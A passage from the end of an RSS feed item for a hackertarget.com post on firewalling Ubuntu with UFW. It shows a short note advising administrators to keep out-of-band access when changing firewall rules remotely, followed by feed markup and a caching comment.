<div class="woo-sc-box note   ">Note that when configuring firewalls remotely (ie your remotely hosted webserver) it is a good idea to take care and have an out of band access method as backup in case you break your connection. Many a firewall administrator encounters a period of elevated heart beats while connected remotely to a device&#8230; You push the new firewall configuration and suddenly your RDP or SSH session pauses&#8230;&#8230; of course you don&#8217;t make mistakes and it was just a temporary hiccup with the session now restored. Right?</div>
<p>The post <a href="http://hackertarget.com/firewalling-ubuntu-ufw-ipv4-ipv6/">Firewalling Ubuntu with UFW for IPv4 + IPv6</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/firewalling-ubuntu-ufw-ipv4-ipv6/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: basic
Content Delivery Network via cdn.hackertarget.com

 Served from: www.hackertarget.com @ 2013-05-22 20:27:58 by W3 Total Cache -->